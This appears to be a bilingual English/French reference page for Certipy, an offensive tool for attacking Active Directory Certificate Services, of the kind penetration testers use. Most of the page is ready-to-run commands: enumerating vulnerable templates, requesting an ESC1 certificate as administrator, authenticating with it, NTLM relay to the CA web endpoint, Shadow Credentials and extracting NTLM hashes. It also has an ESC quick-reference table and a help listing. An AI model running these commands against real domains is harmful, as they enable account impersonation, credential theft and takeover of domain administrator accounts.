← retour aux outils back to tools

# Certipy

Outil offensif pour énumérer et exploiter les mauvaises configurations d'Active Directory Certificate Services. Offensive tool for enumerating and exploiting Active Directory Certificate Services misconfigurations.

↗ https://github.com/ly4k/Certipy

## Overview

Certipy is the primary tool for AD CS attacks. It enumerates certificate templates and CAs, identifies ESC vulnerabilities, and exploits them to obtain certificates for privileged accounts.

## Common Usage

    # Enumerate — find vulnerable templates and CAs
    certipy find -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 -stdout
    certipy find -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 -vulnerable

ESC1 — request cert as another user (enrollee supplies SAN)

    certipy req -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 \
      -ca 'CA-NAME' -template 'VulnerableTemplate' -upn 'administrator@domain.local'

Authenticate with obtained certificate

    certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

ESC8 — relay NTLM to AD CS HTTP endpoint

    certipy relay -target 'http://<CA>/certsrv/certfnsh.asp' -template DomainController

Shadow Credentials attack (requires write to msDS-KeyCredentialLink)

    certipy shadow auto -u 'user@domain.local' -p 'Password1' -account 'target-user'

NTLM hash from certificate (UnPAC-the-Hash)

    certipy auth -pfx user.pfx -no-save -domain domain.local -dc-ip 10.10.10.1

## ESC Quick Reference

ESC | Description | Condition
--- | --- | ---
ESC1 | Enrollee supplies SAN | `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`
ESC2 | Any purpose template | Any purpose EKU
ESC3 | Enrollment agent template | Certificate Request Agent EKU
ESC4 | Writable template | Write permission on template
ESC6 | `EDITF_ATTRIBUTESUBJECTALTNAME2` on CA | CA flag set
ESC8 | NTLM relay to CA web enrollment | EPA not enforced

Help / Man page

    certipy <command> [options]

    COMMANDS:
      find      Enumerate AD CS (templates, CAs, vulnerabilities)
      req       Request a certificate
      auth      Authenticate with a certificate (get TGT or NTLM)
      shadow    Shadow Credentials attacks
      relay     NTLM relay to AD CS
      ca        CA management (backup, add officer, etc.)
      template  Modify certificate templates
      forge     Forge certificates (requires CA key)
      cert      Certificate utilities

    FIND OPTIONS:
      -u USER@DOMAIN    Username
      -p PASSWORD       Password
      -dc-ip IP         Domain controller IP
      -vulnerable       Only show vulnerable configs
      -stdout           Print to stdout instead of file
      -bloodhound       Output for BloodHound

    REQ OPTIONS:
      -ca NAME          Certificate Authority name
      -template NAME    Template name
      -upn UPN          Target UPN for SAN (ESC1)
      -dns HOSTNAME     DNS SAN
      -pfx FILE         Output PFX file

    AUTH OPTIONS:
      -pfx FILE         Certificate PFX
      -dc-ip IP         DC for PKINIT
      -no-save          Don't save TGT, print NTLM hash

## Vue d’ensemble

Certipy est l’outil principal pour les attaques AD CS. Il énumère les modèles de certificats et les CAs, identifie les vulnérabilités ESC, et les exploite pour obtenir des certificats de comptes privilégiés.

## Utilisation courante

    # Énumération : trouver les modèles et CAs vulnérables
    certipy find -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 -stdout
    certipy find -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 -vulnerable

    # ESC1 : demander un certificat pour un autre utilisateur (l'enrollé fournit le SAN)
    certipy req -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 \
      -ca 'CA-NAME' -template 'VulnerableTemplate' -upn 'administrator@domain.local'

    # S'authentifier avec le certificat obtenu
    certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

    # ESC8 : relayer NTLM vers l'endpoint HTTP AD CS
    certipy relay -target 'http://<CA>/certsrv/certfnsh.asp' -template DomainController

    # Attaque Shadow Credentials (nécessite l'écriture sur msDS-KeyCredentialLink)
    certipy shadow auto -u 'user@domain.local' -p 'Password1' -account 'target-user'

    # Hachage NTLM depuis un certificat (UnPAC-the-Hash)
    certipy auth -pfx user.pfx -no-save -domain domain.local -dc-ip 10.10.10.1

## Référence rapide ESC

ESC | Description | Condition
--- | --- | ---
ESC1 | L’enrollé fournit le SAN | `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`
ESC2 | Modèle à usage général | EKU Any Purpose
ESC3 | Modèle d’agent d’enrollment | EKU Certificate Request Agent
ESC4 | Modèle accessible en écriture | Permission d’écriture sur le modèle
ESC6 | `EDITF_ATTRIBUTESUBJECTALTNAME2` sur la CA | Flag CA défini
ESC8 | Relay NTLM vers l’enrollment web CA | EPA non appliqué

Aide / Page de manuel

    certipy <command> [options]

    COMMANDS:
      find      Enumerate AD CS (templates, CAs, vulnerabilities)
      req       Request a certificate
      auth      Authenticate with a certificate (get TGT or NTLM)
      shadow    Shadow Credentials attacks
      relay     NTLM relay to AD CS
      ca        CA management (backup, add officer, etc.)
      template  Modify certificate templates
      forge     Forge certificates (requires CA key)
      cert      Certificate utilities

    FIND OPTIONS:
      -u USER@DOMAIN    Username
      -p PASSWORD       Password
      -dc-ip IP         Domain controller IP
      -vulnerable       Only show vulnerable configs
      -stdout           Print to stdout instead of file
      -bloodhound       Output for BloodHound

    REQ OPTIONS:
      -ca NAME          Certificate Authority name
      -template NAME    Template name
      -upn UPN          Target UPN for SAN (ESC1)
      -dns HOSTNAME     DNS SAN
      -pfx FILE         Output PFX file

    AUTH OPTIONS:
      -pfx FILE         Certificate PFX
      -dc-ip IP         DC for PKINIT
      -no-save          Don't save TGT, print NTLM hash